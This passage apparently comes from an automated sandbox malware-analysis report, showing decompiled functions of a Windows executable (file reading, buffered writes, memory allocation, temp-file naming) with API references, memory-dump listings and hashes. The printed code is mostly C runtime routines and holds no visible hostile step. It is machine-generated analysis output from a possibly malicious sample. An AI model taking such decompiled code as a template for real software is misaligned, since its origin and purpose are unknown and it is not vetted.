				_t62 = E0040F580(0x4848e8, __edi);
				E00413990( &_v268, _t22);
				E004112EF(0x4848e8, _t53, __edi, _t22, _t74, _t62);
				_t69 = (_t66 & 0xfffffff8) - 0x1a8 + 0xc;
				_t63 =  &_v412;
				E0040F6A0( &_v412);
				E0040F6D0( &_v268,  &_v412, _t74);
				 *(__edi + 8) = 0;
				_t49 = 0;
				_t29 = 0;
				do {
					_t32 = _t29 + ( *(_t69 + _t49 + 0x18) & 0x000000ff) + ( *(_t69 + _t49 + 0x19) & 0x000000ff) + ( *(_t69 + _t49 + 0x1a) & 0x000000ff);
					_t57 =  *(_t69 + _t49 + 0x1b) & 0x000000ff;
					_t49 = _t49 + 4;
					_t29 = _t32 + _t57;
				} while (_t49 < 0x10);
				 *(__edi + 8) = _t29;
				_t34 = E00414E06(_a4, L"rb"); // executed
				_t70 = _t69 + 8;
				 *__edi = _t34;
				if(_t34 == 0) {
					_t35 = 1;
				} else {
					_t36 = E0040F450(0, __edi, _t63, __edi);
					_t78 = _t36;
					if(_t36 == 0) {
						E004151B0(_t70 + 0x10, 1, 0x10,  *__edi);
						_t71 = _t70 + 0x10;
						_push(0x99f2);
						E0044AFDC(_t71 + 0x10, __eflags, _t71 + 0x10, 0x10);
						_t40 = 0;
						 *(__edi + 8) = 0;
						_t51 = 0;
						__eflags = 0;
						do {
							_t59 =  *(_t71 + _t40 + 8) & 0x000000ff;
							_t40 = _t40 + 1;
							_t51 = _t51 * _t59;
							__eflags = _t40 - 0x10;
						} while (__eflags < 0);
						_push( *__edi);
						 *(__edi + 8) = _t51;
						_t42 = E00415484(0, _t59, __edi, _t63, __eflags); // executed
						 *((intOrPtr*)(__edi + 4)) = _t42;
						_t35 = 0;
					} else {
						_push( *__edi);
						_t65 = _t36;
						E00414E94(0, _t57, __edi, _t65, _t78);
						_t35 = _t65;
					}
				}
				return _t35;
			}



























                                                                                                                                                                            0x0040f5e0
                                                                                                                                                                            0x0040f5e0
                                                                                                                                                                            0x0040f5f8
                                                                                                                                                                            0x0040f603
                                                                                                                                                                            0x0040f609
                                                                                                                                                                            0x0040f60e
                                                                                                                                                                            0x0040f611
                                                                                                                                                                            0x0040f615
                                                                                                                                                                            0x0040f623
                                                                                                                                                                            0x0040f62a
                                                                                                                                                                            0x0040f62d
                                                                                                                                                                            0x0040f62f
                                                                                                                                                                            0x0040f631
                                                                                                                                                                            0x0040f644
                                                                                                                                                                            0x0040f646
                                                                                                                                                                            0x0040f64b
                                                                                                                                                                            0x0040f64e
                                                                                                                                                                            0x0040f650
                                                                                                                                                                            0x0040f655
                                                                                                                                                                            0x0040f661
                                                                                                                                                                            0x0040f666
                                                                                                                                                                            0x0040f669
                                                                                                                                                                            0x0040f66d
                                                                                                                                                                            0x0042b2ee
                                                                                                                                                                            0x0040f673
                                                                                                                                                                            0x0040f674
                                                                                                                                                                            0x0040f679
                                                                                                                                                                            0x0040f67b
                                                                                                                                                                            0x0042b304
                                                                                                                                                                            0x0042b309
                                                                                                                                                                            0x0042b30c
                                                                                                                                                                            0x0042b318
                                                                                                                                                                            0x0042b31d
                                                                                                                                                                            0x0042b31f
                                                                                                                                                                            0x0042b322
                                                                                                                                                                            0x0042b322
                                                                                                                                                                            0x0042b324
                                                                                                                                                                            0x0042b324
                                                                                                                                                                            0x0042b329
                                                                                                                                                                            0x0042b32a
                                                                                                                                                                            0x0042b32d
                                                                                                                                                                            0x0042b32d
                                                                                                                                                                            0x0042b334
                                                                                                                                                                            0x0042b335
                                                                                                                                                                            0x0042b338
                                                                                                                                                                            0x0042b340
                                                                                                                                                                            0x0042b343
                                                                                                                                                                            0x0040f681
                                                                                                                                                                            0x0040f683
                                                                                                                                                                            0x0040f684
                                                                                                                                                                            0x0040f686
                                                                                                                                                                            0x0040f68e
                                                                                                                                                                            0x0040f68e
                                                                                                                                                                            0x0040f67b
                                                                                                                                                                            0x0040f695

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0040F580: _wcslen.LIBCMT ref: 0040F58A
                                                                                                                                                                              • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0040F5A3
                                                                                                                                                                              • Part of subcall function 0040F580: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,-00000010,00000001,?,?,?,?), ref: 0040F5CC
                                                                                                                                                                            • _strcat.LIBCMT ref: 0040F603
                                                                                                                                                                              • Part of subcall function 0040F6A0: _memset.LIBCMT ref: 0040F6A8
                                                                                                                                                                              • Part of subcall function 0040F6D0: _strlen.LIBCMT ref: 0040F6D8
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharMultiWide$_memset_strcat_strlen_wcslen
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 1194219731-2761332787
                                                                                                                                                                            • Opcode ID: ab4f5e82dcc48480dda8a6deb9be2bf98b83b79cf87b5fb99c09d01209d65726
                                                                                                                                                                            • Instruction ID: 1fd31f67f6889806bd2ce24d6488871f5ee50ddf162d20410a363c4a19aba518
                                                                                                                                                                            • Opcode Fuzzy Hash: ab4f5e82dcc48480dda8a6deb9be2bf98b83b79cf87b5fb99c09d01209d65726
                                                                                                                                                                            • Instruction Fuzzy Hash: 022158B260825067C724EF7A9C8266EF7D8AF85308F148C3FF554D2282F638D555879A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041456C Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 91%
                                                                                                                                                                            			E0041456C(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E004191C9(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0041453A(_t90, _t98, _t100)); // executed
										_t74 = E0041C3CF(_t81, _t90, _t98, _t100, __eflags); // executed
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0041486C(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E00410F70(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E00417F23(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E00417EBB(_t90, 0, _t100);
					goto L4;
				}
			}





























                                                                                                                                                                            0x0041456c
                                                                                                                                                                            0x0041457c
                                                                                                                                                                            0x004145a2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414583
                                                                                                                                                                            0x00414583
                                                                                                                                                                            0x00414586
                                                                                                                                                                            0x00414588
                                                                                                                                                                            0x004145a9
                                                                                                                                                                            0x004145ac
                                                                                                                                                                            0x004145ae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004145b0
                                                                                                                                                                            0x004145b5
                                                                                                                                                                            0x004145b8
                                                                                                                                                                            0x004145bb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004145c0
                                                                                                                                                                            0x004145c4
                                                                                                                                                                            0x004145cb
                                                                                                                                                                            0x004145ce
                                                                                                                                                                            0x004145d1
                                                                                                                                                                            0x004145d3
                                                                                                                                                                            0x004145dd
                                                                                                                                                                            0x004145d5
                                                                                                                                                                            0x004145d8
                                                                                                                                                                            0x004145d8
                                                                                                                                                                            0x004145e4
                                                                                                                                                                            0x004145e6
                                                                                                                                                                            0x004146ab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004145ec
                                                                                                                                                                            0x004145ec
                                                                                                                                                                            0x004145ef
                                                                                                                                                                            0x004145ef
                                                                                                                                                                            0x004145f5
                                                                                                                                                                            0x00414626
                                                                                                                                                                            0x00414626
                                                                                                                                                                            0x00414629
                                                                                                                                                                            0x00414682
                                                                                                                                                                            0x00414689
                                                                                                                                                                            0x0041468c
                                                                                                                                                                            0x004146b7
                                                                                                                                                                            0x004146b7
                                                                                                                                                                            0x004146b9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004146bd
                                                                                                                                                                            0x0041468e
                                                                                                                                                                            0x00414691
                                                                                                                                                                            0x00414694
                                                                                                                                                                            0x00414695
                                                                                                                                                                            0x00414698
                                                                                                                                                                            0x0041469a
                                                                                                                                                                            0x0041469c
                                                                                                                                                                            0x0041469c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041469a
                                                                                                                                                                            0x0041462b
                                                                                                                                                                            0x0041462d
                                                                                                                                                                            0x0041463a
                                                                                                                                                                            0x0041463a
                                                                                                                                                                            0x0041463e
                                                                                                                                                                            0x00414640
                                                                                                                                                                            0x00414644
                                                                                                                                                                            0x00414646
                                                                                                                                                                            0x00414649
                                                                                                                                                                            0x00414649
                                                                                                                                                                            0x00414649
                                                                                                                                                                            0x0041464b
                                                                                                                                                                            0x0041464c
                                                                                                                                                                            0x00414656
                                                                                                                                                                            0x00414657
                                                                                                                                                                            0x0041465c
                                                                                                                                                                            0x0041465f
                                                                                                                                                                            0x00414662
                                                                                                                                                                            0x004146c5
                                                                                                                                                                            0x004146c5
                                                                                                                                                                            0x004146c9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414664
                                                                                                                                                                            0x00414664
                                                                                                                                                                            0x00414666
                                                                                                                                                                            0x00414668
                                                                                                                                                                            0x0041466a
                                                                                                                                                                            0x0041466a
                                                                                                                                                                            0x0041466c
                                                                                                                                                                            0x0041466f
                                                                                                                                                                            0x00414671
                                                                                                                                                                            0x00414673
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414675
                                                                                                                                                                            0x00414675
                                                                                                                                                                            0x00414675
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414675
                                                                                                                                                                            0x00414673
                                                                                                                                                                            0x00414662
                                                                                                                                                                            0x00414630
                                                                                                                                                                            0x00414636
                                                                                                                                                                            0x00414638
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00414638
                                                                                                                                                                            0x004145f7
                                                                                                                                                                            0x004145fa
                                                                                                                                                                            0x004145fc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004145fe
                                                                                                                                                                            0x004146b3
                                                                                                                                                                            0x004146b3
                                                                                                                                                                            0x004146b3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004146b3
                                                                                                                                                                            0x00414604
                                                                                                                                                                            0x00414606
                                                                                                                                                                            0x00414608
                                                                                                                                                                            0x0041460a
                                                                                                                                                                            0x0041460a
                                                                                                                                                                            0x00414612
                                                                                                                                                                            0x00414617
                                                                                                                                                                            0x0041461a
                                                                                                                                                                            0x0041461c
                                                                                                                                                                            0x0041461f
                                                                                                                                                                            0x00414621
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004146a3
                                                                                                                                                                            0x004146a3
                                                                                                                                                                            0x004146a3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004145ec
                                                                                                                                                                            0x004145e6
                                                                                                                                                                            0x0041458a
                                                                                                                                                                            0x0041458a
                                                                                                                                                                            0x0041458f
                                                                                                                                                                            0x00414590
                                                                                                                                                                            0x00414591
                                                                                                                                                                            0x00414592
                                                                                                                                                                            0x00414593
                                                                                                                                                                            0x00414594
                                                                                                                                                                            0x0041459a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041459f

                                                                                                                                                                            APIs
                                                                                                                                                                            • __flush.LIBCMT ref: 00414630
                                                                                                                                                                            • __fileno.LIBCMT ref: 00414650
                                                                                                                                                                            • __locking.LIBCMT ref: 00414657
                                                                                                                                                                            • __flsbuf.LIBCMT ref: 00414682
                                                                                                                                                                              • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                              • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3240763771-0
                                                                                                                                                                            • Opcode ID: c33d3fdb12fd4259bf2a599739e05a6f0e5efad5a95894a275e42edd94bab877
                                                                                                                                                                            • Instruction ID: ec1a4dff6c5341ad57a53ba98b0f539b864df2cc4a0ba96fecd891c5d8a4160d
                                                                                                                                                                            • Opcode Fuzzy Hash: c33d3fdb12fd4259bf2a599739e05a6f0e5efad5a95894a275e42edd94bab877
                                                                                                                                                                            • Instruction Fuzzy Hash: 4841A571A00605ABDB249FA5C9445DFB7B6EFC1328F28852FE41997280D77CDEC18B48
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0041171A Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 93%
                                                                                                                                                                            			E0041171A(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				WCHAR* _v0;
				char _v16;
				void* _t8;
				signed int _t9;
				struct HINSTANCE__* _t13;
				void* _t16;
				void* _t22;
				void* _t23;
				long _t24;

				_t23 = __edi;
				_t16 = __ebx;
				while(1) {
					_t8 = E004138BA(_t16, _t22, _t23, _a4); // executed
					if(_t8 != 0) {
						break;
					}
					_t9 = E00411AFC(_a4);
					__eflags = _t9;
					if(_t9 == 0) {
						__eflags =  *0x4966cc & 0x00000001;
						if(( *0x4966cc & 0x00000001) == 0) {
							 *0x4966cc =  *0x4966cc | 0x00000001;
							__eflags =  *0x4966cc;
							E004116B0(0x4966c0);
							E00411421( *0x4966cc, 0x42925f);
						}
						E004116FD( &_v16, 0x4966c0);
						E0041805B( &_v16, 0x48c6c4);
						asm("int3");
						_push(_t23);
						_t24 = 0x3e8;
						while(1) {
							Sleep(_t24);
							_t13 = GetModuleHandleW(_v0);
							_t24 = _t24 + 0x3e8;
							__eflags = _t24 - 0xea60;
							if(_t24 > 0xea60) {
								break;
							}
							__eflags = _t13;
							if(_t13 == 0) {
								continue;
							}
							break;
						}
						return _t13;
					} else {
						continue;
					}
					L11:
				}
				return _t8;
				goto L11;
			}












                                                                                                                                                                            0x0041171a
                                                                                                                                                                            0x0041171a
                                                                                                                                                                            0x00411731
                                                                                                                                                                            0x00411734
                                                                                                                                                                            0x0041173c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00411727
                                                                                                                                                                            0x0041172d
                                                                                                                                                                            0x0041172f
                                                                                                                                                                            0x00411740
                                                                                                                                                                            0x0041174c
                                                                                                                                                                            0x0041174e
                                                                                                                                                                            0x0041174e
                                                                                                                                                                            0x00411757
                                                                                                                                                                            0x00411761
                                                                                                                                                                            0x00411766
                                                                                                                                                                            0x0041176b
                                                                                                                                                                            0x00411779
                                                                                                                                                                            0x0041177e
                                                                                                                                                                            0x00411784
                                                                                                                                                                            0x00411785
                                                                                                                                                                            0x0041178a
                                                                                                                                                                            0x0041178b
                                                                                                                                                                            0x00411794
                                                                                                                                                                            0x0041179a
                                                                                                                                                                            0x004117a0
                                                                                                                                                                            0x004117a6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004117a8
                                                                                                                                                                            0x004117aa
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004117aa
                                                                                                                                                                            0x004117ae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0041172f
                                                                                                                                                                            0x0041173f
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • _malloc.LIBCMT ref: 00411734
                                                                                                                                                                              • Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
                                                                                                                                                                              • Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
                                                                                                                                                                              • Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001), ref: 00413931
                                                                                                                                                                            • std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 004116B0: std::exception::exception.LIBCMT ref: 004116BC
                                                                                                                                                                            • std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                            • __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1411284514-0
                                                                                                                                                                            • Opcode ID: bdd5eecd96a3d4a1b695bd96028daf60a0e56994422b978dcd9c70fc0c970313
                                                                                                                                                                            • Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
                                                                                                                                                                            • Opcode Fuzzy Hash: bdd5eecd96a3d4a1b695bd96028daf60a0e56994422b978dcd9c70fc0c970313
                                                                                                                                                                            • Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00434FA9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetTempPathW.KERNEL32(00000104,?), ref: 00434FB8
                                                                                                                                                                            • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00434FD2
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Temp$FileNamePath
                                                                                                                                                                            • String ID: aut
                                                                                                                                                                            • API String ID: 3285503233-3010740371
                                                                                                                                                                            • Opcode ID: 82f31d04e16af5f01be6cdfc0d9504ab1fb0bcbc6d64d3389bdd0f197d66684f
                                                                                                                                                                            • Instruction ID: 3313f3dae54ffcfdd9147ab58f8a32ee61f020fa86886c131b3703d02f5643f1
                                                                                                                                                                            • Opcode Fuzzy Hash: 82f31d04e16af5f01be6cdfc0d9504ab1fb0bcbc6d64d3389bdd0f197d66684f
                                                                                                                                                                            • Instruction Fuzzy Hash: 92D05EB41443006FE220EB44DC8EF7E7368AB84700F108D2DBE70810D0E2F45114C76A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040D7F0 Relevance: 4.6, APIs: 3, Instructions: 74COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • _set_new_mode.LIBCMT ref: 0040D88C
                                                                                                                                                                            • SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 0040D8B9
                                                                                                                                                                            • FreeLibrary.KERNEL32(?), ref: 0040D8CE
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: FreeInfoLibraryParametersSystem_set_new_mode
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1188159508-0
                                                                                                                                                                            • Opcode ID: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                                                                                                                                                                            • Instruction ID: 2b4412acdce639bfbf0f9e0c9ecf3f694f94d165ded01d265c3c64edb54a61d9
                                                                                                                                                                            • Opcode Fuzzy Hash: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                                                                                                                                                                            • Instruction Fuzzy Hash: C2215EB19183009FC700EF56D88150ABBE4FB98354F44497EF849A72A2D735A945CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0042235F Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetEnvironmentStringsW.KERNEL32(00000000,0041624C), ref: 00422362
                                                                                                                                                                            • __malloc_crt.LIBCMT ref: 00422390
                                                                                                                                                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042239D
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
